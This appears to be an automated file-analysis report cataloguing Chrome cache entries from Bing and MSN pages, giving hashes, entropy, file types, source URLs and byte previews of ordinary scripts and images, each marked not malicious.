Preview:	var SAUpsellTrigger;(function(n){function f(n){var t=new RegExp("^https://(www.\|cn.)?(bing.com\|staging-bing-int.com)");return!n\|\|!t.test(n)?!1:!0}function y(n){var t=new RegExp("^sapphirebing://");return!n\|\|!t.test(n)?!1:!0}function p(n){var t=new RegExp("^[a-zA-Z0-9]{7,8}_[a-zA-Z0-9]{7,8}$"),i=new RegExp("^[a-zA-Z0-9]{7,8}$");return!n\|\|!(t.test(n)\|\|i.test(n))?!1:!0}function e(n,t,i,r){r===void 0&&(r="default");f(n)\|\|(Log.Log("OpalUpsell_SAUpsellTriggers","InvalidFallbackLink","".concat(r,", ").concat(n)),n=l);y(t)\|\|(Log.Log("OpalUpsell_SAUpsellTriggers","InvalidDeeplink","".concat(r,", ").concat(t)),t=a);p(i)\|\|(Log.Log("OpalUpsell_SAUpsellTriggers","InvalidTracker","".concat(r,", ").concat(i)),i=v);var u="https://k5nc.adj.st/".concat(t.substring(15),"&adj_t=").concat(i,"&adjust_deep_link=").concat(encodeURIComponent(t),"&adj_redirect_ios=").concat(encodeURIComponent(n),"&adj_redirect_android=").concat(encodeURIComponent(n)),e=navigator.userAgent&&navigator.userAgent.toLocaleLowerCase(

Chrome Cache Entry: 758

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19008)
Category:	downloaded
Size (bytes):	316988
Entropy (8bit):	5.239088634343518
Encrypted:	false
SSDEEP:	6144:vLKLj7yjWF276GNg9fpe3HdabIKSB1DkCXW8o0oMlppfbm:zgj7bSB1DkCXW8T5dbm
MD5:	8192D891E754AFD81A399F98BC6B265F
SHA1:	965E6C69F45118FEAB86EEEBBB0FC4964F2B3A98
SHA-256:	E2E4D97C20D4478E8E947480C8F6C71A2C795776D405366BE70DB82E4EA4BA77
SHA-512:	7C2712A1E34DA9062F50E7D93F4E74772044E45C265C682ABCD4E28E4004DCDAF6CE7479A4E8785986A88A32257E4FAC0ECF8CE23AFE47968C4510DF0A2C800B
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/ll5safRRGP6rhu7ruw_Elk8rOpg.js
Preview:	/! @azure/msal-browser v2.28.2 2022-09-06 /."use strict";!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e\|\|self).msal={})}(this,(function(e){./! ****************************************************************************. Copyright (c) Microsoft Corporation... Permission to use, copy, modify, and/or distribute this software for any. purpose with or without fee is hereby granted... THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH. REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY. AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,. INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM. LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR. OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION

Chrome Cache Entry: 759

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	5146
Entropy (8bit):	7.92054723869336
Encrypted:	false
SSDEEP:	96:8zgEoMqRxjovgeSOpNWSfGV6Qmju0QJykNG3zovmsioGSynLa3EGw7b:ygrMMjoYedpNdGV6Qdl3Jv5ioj8232/
MD5:	68DF420997E2171DB09B8B51A7166C17
SHA1:	5590419B8B319719D3A96FB3D8AA9E6B356BC5D3
SHA-256:	BA22C0CDE79E23E03D86C0494AB85AB987600412A50E2B6EE629602254148938
SHA-512:	315BD18CD4EC14BCD1D29DF501A3BA3000BE22D0D55B603401F16F519C8883E830512151568CF4D2D70F79EA2E1D0D9C1C8F1213286241C77FF4542BF8B9E3A9
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..<3.j....G"D....88.U@j.+g.....x.....w....#.?.....OE.rpz.XK<..p[...e....V.....)..Ky...w.......N.j.wn........z....d.rk:.R5.7.^]L..........)..}i.x..}qV!..y.?y..X(..ts....{v..?.U...8#.zV..,..F...1.....A.=.......s.!.......%..v..\..ys.....]q...TLq...j...<.v;.......[.......F.....J..,h...bI...m?@.F..oq..q+........l/....5_.V.........T.1..6.....=[<...z......l.B

Chrome Cache Entry: 760

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	4.2484633897908495
Encrypted:	false
SSDEEP:	24:tnq3ripj6Gnhrf9MiYjaM/Wxv1qUJHGjrIO3KAFz:VEipjbZf3YjGr4N3x
MD5:	407303FF19FBE8081F2BEAC9CF1AD7B9
SHA1:	CCFDFD943C6DAD51EA5E9804F15A3E3EBC8BA642
SHA-256:	2DF3CB601B3DE31BFC06AA7626183B7BF7F3624025BDA11C766D4CF0335B89B1
SHA-512:	BB2C515E75E0334D66BFC7765CED6654A074309A38B353DD8142D4D34C9D2F43DDD3C7D4336A65F3208D7BA38353C05793BBE0AE67EEC1803532F6D744B3E04A
Malicious:	false
Reputation:	unknown
Preview:	<svg enable-background="new 0 0 40 40" viewBox="0 0 40 40" xmlns="http://www.w3.org/2000/svg"><path d="m20 0c-11.046 0-20 8.954-20 20s8.954 20 20 20 20-8.954 20-20-8.954-20-20-20zm13.082 33.082c-3.351 3.349-7.971 5.418-13.082 5.418s-9.731-2.069-13.081-5.418c-3.349-3.351-5.419-7.971-5.419-13.082s2.07-9.731 5.419-13.081c3.35-3.349 7.97-5.419 13.081-5.419s9.731 2.07 13.082 5.419c3.349 3.35 5.418 7.97 5.418 13.081s-2.069 9.731-5.418 13.082zm-13.082-13.078c2.761 0 5-2.239 5-5s-2.239-5-5-5-5 2.239-5 5 2.239 5 5 5zm0-8.5c1.933 0 3.5 1.567 3.5 3.5s-1.567 3.5-3.5 3.5-3.5-1.567-3.5-3.5 1.567-3.5 3.5-3.5zm5.754 10.496h-11.501c-1.242 0-2.249 1.007-2.249 2.249v.578c0 .893.318 1.756.898 2.435 1.566 1.834 3.952 2.739 7.098 2.739 3.145 0 5.533-.905 7.102-2.738.581-.679.901-1.544.901-2.439v-.575c0-1.243-1.007-2.249-2.249-2.249zm.749 2.824c0 .536-.192 1.056-.541 1.463-1.257 1.468-3.224 2.214-5.962 2.214s-4.704-.746-5.958-2.213c-.348-.407-.539-.926-.539-1.461v-.578c0-.414.335-.749.749-.749h11.502c.414 0

Chrome Cache Entry: 761

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	35714
Entropy (8bit):	7.962594488900293
Encrypted:	false
SSDEEP:	768:e9D1ptrOrtPx20J/UVlwr4wGVg3+/9AAlO8t0bNvH/sg:e9xwtPFBVr+W+/ySj0hvHd
MD5:	8D41C5A4C46DDE9D8B890D2C89CACA75
SHA1:	A3AF821C8B24164DE51A8714137B7FBF4D698519
SHA-256:	6370F2380DD0B7018DD5BD7A15459DD6440935E6F56E5DDD95E98803883E7824
SHA-512:	67E7EDFF8DDCA2B3A28FD64A533D24046F14E97CEA5FDEFA4FB997C20257D2EA43E4CCBA5184EDF3B536E6D160327E4C02C239CB56BEA32B6752E44D704BD40C
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....F....ss..%.q;.I.7(\q..'.{.....G.t......U+.mfp..M.1....#.....9..~..Wz..!.....8P;d..../..I....n..n..@..V.....0.?..y..mW.({.Yn[F.$.-../..>.}gwl...mu.I...P\&...N.p..N.Gz......4..._.t...h...\|.Yd..dE..\|..$q.....t...ho....k$.kw^cwh..d....?.\|..i.m.m.(.hd.d..9.9.^.<eJ5{.m8.3.;..o..........Cik#...9Sl..Rv}.pOR:..hF.....j............0...........3.....L...^.....

Chrome Cache Entry: 762

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22247)
Category:	downloaded
Size (bytes):	40067
Entropy (8bit):	5.648100276481272
Encrypted:	false
SSDEEP:	768:IfCCQv85MN7CZV3HSn1ZF+buhYs1HH4wexSkMF034DL:IS8Q+ZV3HS1ZUbuhYslsg/
MD5:	0F391E1575A46344DD5320FA23EABAEA
SHA1:	EAEEADBFE86D2DCBA7081AB8E714D31B3E22C782
SHA-256:	45AA765909D61EFE0872B1D12853F8CF05899804ED79D625411A9C0255D7B1F3
SHA-512:	2B536385059BF2471EB57337B0E775B885FE01E6B90842D292C37A557F943A0E10795FCA4936A6EAD1EEE486B3CBA4F89F0115CA08F043AA1B29158A93ABABB8
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/web-components_fast-msft-web-components_dist_dom-policy_sanitize-inner-html-policy_js-web-com-10ee55.a06841ac60c8d66785b2.js
Preview:	/! For license information please see web-components_fast-msft-web-components_dist_dom-policy_sanitize-inner-html-policy_js-web-com-10ee55.a06841ac60c8d66785b2.js.LICENSE.txt /.(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["web-components_fast-msft-web-components_dist_dom-policy_sanitize-inner-html-policy_js-web-com-10ee55"],{83245:function(e){e.exports=function(){"use strict";function e(t){return e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e(t)}function t(e,n){return t=Object.setPrototypeOf\|\|function(e,t){return e.__proto__=t,e},t(e,n)}function n(){if("undefined"==typeof Reflect\|\|!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catc

Chrome Cache Entry: 763

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1228), with no line terminators
Category:	dropped
Size (bytes):	1228
Entropy (8bit):	5.021257455081656
Encrypted:	false
SSDEEP:	24:6Vj1V5FrGj6BBE2eyo6maDU6CWi4dDRRE0Slc7qHy5++vY:8v5TBiF6U6C+DLSiL+P
MD5:	04E46D18C015E7C22CB2E4B43DCEFD05
SHA1:	212F9F2089A5F85033160582DCCB1B41A7E4CD15
SHA-256:	A8172A1CD35702E0679AA2FC817640738B09D8C2A1BACF4A132E68D314407744
SHA-512:	E3FD5F578CD864C0B1905C3342C3539CC98D78DE8A4734EB2629558ECA566F464890425250610DE11CB9950C481DDB5C3ABF6557E189D7153461F43FE62D34AD
Malicious:	false
Reputation:	unknown
Preview:	var Feedback;(function(n){var t;(function(){"use strict";function u(t,i){var u=t.getAttribute("id"),f;u\|\|(u="genId"+n.length,t.setAttribute("id",u));f=new r(u,i,t.getAttribute(i));n.push(f)}function i(n,t,i){i===null?n.removeAttribute(t):n.setAttribute(t,i)}function t(n,t,r,f){for(var e,s=_d.querySelectorAll(r),o=0;o<s.length;o++)(e=s[o],f&&e.id&&f[e.id])\|\|(u(e,n),i(e,n,t))}function f(n){for(var u=_d.querySelectorAll(n),e=1,f={},t,i,r=0;r<u.length;++r){if(t=u[r],!t.id){for(;;)if(i="fbpgdgelem".concat(e++),!_ge(i))break;t.id=i}f[t.id]=t}return f}function e(){var i="tabindex",r="-1",n=f("#fbpgdg, #fbpgdg *");t(i,r,"div",n);t(i,r,"svg",n);t(i,r,"a",n);t(i,r,"li",n);t(i,r,"input",n);t(i,r,"select",n);t("aria-hidden","true","body :not(script):not(style)",n)}function o(){for(var r,t=0;t<n.length;t++)r=_d.getElementById(n[t].id),r&&i(r,n[t].attributeName,n[t].originalAttributeValue);n.length=0}function s(){typeof sj_evt!="undefined"&&(sj_evt.bind("onFeedbackStarting",function(){e()}),sj_evt.b

Chrome Cache Entry: 764

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1101
Entropy (8bit):	4.829151166001716
Encrypted:	false
SSDEEP:	24:t0S8eLfl954T0u2y3EO1gRcDrIvQaDxijjfscC:vLfRWtPDuQKIjq
MD5:	91CD11CFCCA65CFACE96153268D71F63
SHA1:	E0BE107728D3BF41D8136220DA897D798A2AC60F
SHA-256:	8EE1E6D7A487C38412D7B375AC4A6BD7E47F70858055EEB7957226ADA05544BE
SHA-512:	4367CE147C7FA4590838F23C47819B8954858128336979E28BA116924B92660A7CBDC9A8292C45C5F26FF591F423F03DFADCB78A772DBE86AC5FBABF0B4E7711
Malicious:	false
Reputation:	unknown
Preview:	<svg focusable="false" width="24px" height="24px" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.. <rect fill-opacity="0.2" fill="#000" x="0" y="0" width="24" height="24" rx="2"></rect>.. <g transform="translate(4, 4)">.. <path d="M13.2916881,1.29304814 L7.99395739,6.59077883 L2.69622669,1.29304814 C2.30349711,0.913737214 1.67923378,0.919161894 1.29315522,1.30524045 C0.907076669,1.691319 0.90165199,2.31558234 1.28096291,2.70831192 L6.57869361,8.00604261 L1.28096291,13.3037733 C0.90165199,13.6965029 0.907076669,14.3207662 1.29315522,14.7068448 C1.67923378,15.0929233 2.30349711,15.098348 2.69622669,14.7190371 L7.99395739,9.42130639 L13.2916881,14.7190371 C13.6844177,15.098348 14.308681,15.0929233 14.6947596,14.7068448 C15.0808381,14.3207662 15.0862628,13.6965029 14.7069519,13.3037733 L9.40922117,8.00604261 L14.7069519,2.70831192 C15.0976827,2.31746305 15.0976827,1.683897 14.7069519,1.29304814 C14.316103,0.902317288 13

Chrome Cache Entry: 765

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	726
Entropy (8bit):	4.636787858533541
Encrypted:	false
SSDEEP:	12:tbH41nlcWYiB1+Xl0ML2t1iOfEmmgaUEUZQ6nMAIPWSxs4yPISEIe9t8aayPISEx:t741nTYifqLL2+O7mgaxSQ6MFnE3nkO
MD5:	6601E4A25AB847203E1015B32514B16C
SHA1:	282FE75F6FED3CFC85BD5C3544ADB462ED45C839
SHA-256:	6E5D3FFF70EEC85FF6D42C84062076688CB092A3D605F47260DBBE6B3B836B21
SHA-512:	305C325EAD714D7BCBD25F3ACED4D7B6AED6AE58D7D4C2F2DFFCE3DFDEB0F427EC812639AD50708EA08BC79E4FAD8AC2D9562B142E0808936053715938638B7C
Malicious:	false
Reputation:	unknown
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" enable-background="new 0 0 16 16">.. <path d="M0 0h16v16h-16v-16z" fill="none"/>.. <path fill="#007DAA" d="M11 4h4l-5-4v3c0 .552.447 1 1 1zm-3-1v-3h-4.5c-.828 0-1.5.672-1.5 1.5v13c0 .828.672 1.5 1.5 1.5h10c.828 0 1.5-.672 1.5-1.5v-8.5h-4c-1.654 0-3-1.346-3-3zm4.707 10.707c-.181.181-.431.293-.707.293h-7c-.276 0-.526-.112-.707-.293s-.293-.431-.293-.707.112-.526.293-.707.431-.293.707-.293h7c.276 0 .526.112.707.293s.293.431.293.707-.112.526-.293.707zm0-5.414c.181.181.293.431.293.707s-.112.526-.293.707-.431.293-.707.293h-7c-.276 0-.526-.112-.707-.293s-.293-.431-.293-.707.112-.526.293-.707.431-.293.707-.293h7c.276 0 .526.112.707.293z"/>..</svg>

Chrome Cache Entry: 766

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1304
Entropy (8bit):	4.767968631693785
Encrypted:	false
SSDEEP:	24:YogdqtOLxL1iKCSzSQxmdfpkZnEDoAQE:TjtOniKCSlmJpCncx
MD5:	671DDC2887FB01DFC418864231D503E0
SHA1:	C709A9F97B41095CD1A0436FDE285467AC460147
SHA-256:	E2D2752332894DBDC79D3690468FD5811B38A7AB1380AD788165F1458C9C1968
SHA-512:	D65ECB575D650443B0FACFC74ECD0B9173B38AA2D497DE066F13A5DF892899040FACFE293C055FB4667DACD0FAB904B85B7C06EFC4C455645254ECE1BDA8A59F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+.....NIDATx..SMkSA.=..%R....4..QP.XHM7fSL.@. ]....HQAD...A..;A.;EH......DE("...j..&mc.....Lx1../.;w.93w.^.-b%3.$.i.#...M..>3.x\..s..R'..`T...<.].=.f.8.t..h.&/9...&...k.....p% ]...`....@..<.....M`..[......b....K...&.W5.A..]3..vb....J)/h7.)].........-%\|...s?14.%...i.z5a.\|....@..h..u..f..8..g.=.[XBz1...P..J!....E..Z...O..t..#..>._...`..QWa..-..lG........&..C....7.\.Fzi..Q{E/P....=G.<.}+....j.W.......o".....F.g....v.;..TZ.l..B$.......w.b..r...2.?.a.,;.~..C..E.!..:x._.\|..sn...R. ....%.....*.q'..&......\|"......;.WU.......a3...>.7....<U..2M....'....v.S.Lp...........T)....IEND.B`.............................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 767

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (49890), with no line terminators
Category:	downloaded
Size (bytes):	49890
Entropy (8bit):	5.277413721220006
Encrypted:	false
SSDEEP:	768:w0+xgE1upNf+awP/o/lglV9YForuZK6y4v2Cd8cA2YIHCqg+R/Y84zcV8TSmWXFq:wr168Xq8zx2mWXvqH+MW2FTIYRv/B
MD5:	DAE77611220E36671173E1F84BC55B86
SHA1:	1B6971B4A582CEE6EB92C8B138895AC2C7F5F671
SHA-256:	7EBE7CF486536B3D482F6C4F08D04B05290432EA7032A79F164D2660CA8E6365
SHA-512:	35B8A3B1BD26AD310EBD8892B7174314984A6BEE202794528F7BB6E59E0AEE9546469B4F4E47C118DADB14ACC86823A2249C028A5740F34B5B727EFCF58A4941
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/topic-data-connector.9f232d5ecf2e5b89935a.js
Preview:	"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["topic-data-connector"],{76868:function(e,t,i){var s;i.d(t,{y:function(){return s}}),function(e){e[e.MuidChange=1]="MuidChange",e[e.MarketChange=2]="MarketChange",e[e.InterestsChange=3]="InterestsChange",e[e.PivotSwitch=4]="PivotSwitch",e[e.WeatherChange=5]="WeatherChange",e[e.MoneyChange=6]="MoneyChange",e[e.FeedLayoutSwitch=7]="FeedLayoutSwitch",e[e.FetchRiverDataFailure=8]="FetchRiverDataFailure",e[e.BackgroundImageChange=9]="BackgroundImageChange",e[e.PublisherMuted=10]="PublisherMuted",e[e.StalePrerenderPage=11]="StalePrerenderPage",e[e.AdminSettingsChange=12]="AdminSettingsChange"}(s\|\|(s={}))},44039:function(e,t,i){i.d(t,{yV:function(){return o}});var s=i(987);new Set;function o(e){const t={time:n(),data:e};(0,s.$o)().setObject("fpr",t)}function n(){return Math.round(performance.timeOrigin+performance.now())}},16330:function(e,t,i){var s;i.r(t),i.d(t,{FeedType:functio

Chrome Cache Entry: 768

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2996), with no line terminators
Category:	downloaded
Size (bytes):	2996
Entropy (8bit):	5.366105471104399
Encrypted:	false
SSDEEP:	48:J48ZVpZepsJrkTScZV7pw2B7waeaTo8Xvet0cnYBLm7QA03RzsGXFLChF8YiS5xJ:JQcrkTDZV7e2maeaTowrBLm0A03RQqst
MD5:	A4A2895E7FBFE6377307B4C2AAB9E525
SHA1:	399FCAD73E013BAB2867567B731B0E0EAA278A49
SHA-256:	2F754393D443981912BDD0E557B8CF9724B956E552C50BFD75044848AC347AA5
SHA-512:	0FBC750A57C1A05577017FFA77FE03881FC12D7DB641F14BCDAA3EFF4FD38880D3147B6BC666E27A63A1FE3D37679CD0DE060C05B8E8E76DD36FC23296FF45B3
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/OZ_K1z4BO6soZ1Z7cxsODqonikk.js
Preview:	var Bnp=Bnp\|\|{};Bnp.Global=Bnp.Global\|\|{};Bnp.Version="1";Bnp.Partner=Bnp.Partner\|\|function(){function i(){return typeof DefaultTrustedTypesPolicy!="undefined"}function s(n){return i()&&DefaultTrustedTypesPolicy.getOpaqueHTML?DefaultTrustedTypesPolicy.getOpaqueHTML(n):n}function h(n){return i()&&DefaultTrustedTypesPolicy.getOpaqueScript?DefaultTrustedTypesPolicy.getOpaqueScript(n):n}function c(n){return i()&&DefaultTrustedTypesPolicy.getOpaqueScriptURL?DefaultTrustedTypesPolicy.getOpaqueScriptURL(n):n}function f(n){sj_evt.fire("onBnpRender",n)}function r(n){var i=i\|\|{};if(typeof i.stringify=="function")return i.stringify(n);var o=typeof n,u=n&&n.constructor==Array,f=[],e,t;if(o!="object"\|\|n==null)return o=="string"?'"'+n+'"':String(n);for(e in n)t=n[e],t&&t.constructor!=Function&&(u?f.push(r(t)):f.push('"'+e+'":'+r(t)));return(u?"[":"{")+String(f)+(u?"]":"}")}function l(n){for(var r=[],u=n.getElementsByTagName("script"),t,i;u.length;)t=u[0],i=sj_ce("script"),t.src?i.src=c(t.src):t.text

Chrome Cache Entry: 769

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:51:08], progressive, precision 8, 160x158, components 3
Category:	downloaded
Size (bytes):	4547
Entropy (8bit):	7.735536921390623
Encrypted:	false
SSDEEP:	96:ssb41dk9JozAQ8d2SuBK76KrZDoDBtnFKiDo8TzNnNJSHvLPS:sj1eozAQ8d2VPGoBBFfM4fJSHDPS
MD5:	7AEF4CCF6E47B9BA038365CD3D1F5693
SHA1:	71F7957F6FAE574854A374E84DB2E3CEDBA89969
SHA-256:	08102BA7A0388B1AFC9A351B3387B2DDEDA846551303170E0273B2F305AECCB2
SHA-512:	29AC1E6BADF62C61B4FA889EA1B0436D3B9107A60BA03801DFA8E23A4D8BCCF42C09BB7CC7E6CD9FACB8D140DB7E0D4F0EEB3D7D8A3B9B38B1D2B95113005320
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/cfeVf2-uV0hUo3ToTbLjztuomWk.jpg
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:51:08....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;...........................................................................................VQJ,..R...)..(..R..d.Y@...h..%(.AW(T.)...5.,.%.2[.."!l...Z......@I..T.......@3.@....D@ ..l.)E.P....ts......@... E".W/G...........IQ..I\|../.,..W..(....WY.1<.t..=....K...C....-.1..s.[l...^].mO7\|..:.kda5....o.=.S.8.;....~e,.......1v..~5.:s'$..u.i..k.7._E25...f6v..Nk.&)....S.r...ovn5...k9k...u.D...f&.......e.+.7......d..7K.R]..f..K..l...r....K.b..s29...y;..U.E(.qH....,....QS%..@....'......................... !."1.#$0@.`............R.J..e~...+.J.....y..7#..^....,.....@.3..`.....L...[u.!.../...;[7.,...a....[._W...B;.....4g+../c..>g...!..U..Q...0...$..F%...u\|.2?.V.>.v..2.2.S.c..km)

Chrome Cache Entry: 770

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (425), with no line terminators
Category:	dropped
Size (bytes):	425
Entropy (8bit):	4.963129739598361
Encrypted:	false
SSDEEP:	12:2gXsmzwKN0yApFkRLNF1Jfa1VTWPMg9pIGywV:2gX9zwKN0yAqr1Jfa1V059V
MD5:	016ECFDB34031F881FA5E34DFBD0B7A1
SHA1:	16D3BA1049939D00AE47AAD053993B4762D9B102
SHA-256:	08021ED3BCA5532304B597E636BEB939FF7BAA6D08DCA4E94C0DDE1FDF940389
SHA-512:	D61045D1F07ED241626B8233D388F5E1AD54DBE224871E1CE872ECFD0E29F05A21F0EA02FFDE688FACB134DD969533615493BD35EBA4D5E755840C30A687EE00
Malicious:	false
Reputation:	unknown
Preview:	(function(n){function f(){u(sj_be,r)}function r(i){return i&&n.enqueue(t,i),!0}function e(){u(sj_ue,r)}function u(n,t){for(var u,r=0;r<i.length;r++)u=i[r],n(u==="resize"?window:document,window.navigator.pointerEnabled?u.replace("mouse","pointer"):u,t,!1)}var t="EVT",i=["click","mousedown","mouseup","touchstart","touchend","mousemove","touchmove","scroll","keydown","resize"];n.wireup(t,{load:f,compute:null,unload:e})})(BM)

Chrome Cache Entry: 771

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 50 x 50
Category:	downloaded
Size (bytes):	49414
Entropy (8bit):	7.786337557112325
Encrypted:	false
SSDEEP:	1536:eXE/6WOXA8PSYII3AhacUdETPWFr6I/DzSdIwToogvGN:gXWwA86YT3CacUdE6Fr6I/yqwTBgvGN
MD5:	34EE08F8009454029F63D7A7B29B8734
SHA1:	4FF9B969FD247385B7B537E27AB755ABF10B619B
SHA-256:	0B5DB1273969107A2927391E904E7E70B1B15D40568CE11717A8B6899BB7B623
SHA-512:	2B728A0F02F1D41F29BCC5E4CBF29E138F199450A1AFCBC7B6B2790E2A8BCE6AB71B19DB7668A40D0F6B702DD1931B90FC60EE1ECB776DA2DDBF8053C068D68F
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/staticsb/statics/latest/widget/LoadingImg.gif
Preview:	GIF89a2.2..?.......................................................................................................................................................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.9ccc4de93, 2022/03/14-14:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:c996674d-1dbc-4dcb-94bf-c133a5e098f7" xmpMM:DocumentID="xmp.did:D4316C07BD1811EC9355E848C6087788" xmpMM:InstanceID="xmp.iid:D4316C06BD1811EC9355E848C6087788" xmp:CreatorTool="Adobe Photoshop 23.3 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:c996674d-1dbc-4dcb-94bf-c133a5e098f7" stRef:documentID="xmp.di

Chrome Cache Entry: 772

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	34378
Entropy (8bit):	7.970622899567605
Encrypted:	false
SSDEEP:	768:eJMSO+lnaEO5gOiosLEpzqDqag2i0dgXsySUV:eI+aEyMo5uDJuigXiUV
MD5:	69E7CA22E5B7A8B2B0FEC6F355ABBD3E
SHA1:	2D1E2856988456EEAAA78A66E77CEADA986F832D
SHA-256:	5F1338BCE7F311271704B361430589304FC71BB366122221959E888A6F6ED3FF
SHA-512:	EF68C3B13998AFE8B7852A5F29E52B83350102AB2790747266767797CC5567A2CE99B09F32D08AE10E8C4C7571214B9B43816AD8CAA6FF0B9655F9562B6518BE
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.06fe08758255ed5bea54b10904780623&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?../N.5?.~9....@..Y].!.\4...j.G....x,.r{.\|Z.g....\....W..[2.oqr...A.....a.),@.....x5>..:W..i.]z?.Xy..T..ha..H`.B..m.2.7.8...-..~7h..iy...hp]..{.8..y.3.a.......A......M.-.........a.....G.4......E..Xm...g........$.?w..RA.....\..lf.....T..}"-...\|.w...C.o.*F..`..AR2...\|..>#k...j.>..':d.<2.......X......cs.(.....4?..h.Lz..i%.,-......C,.M.....x.m....y.`..O.o.....: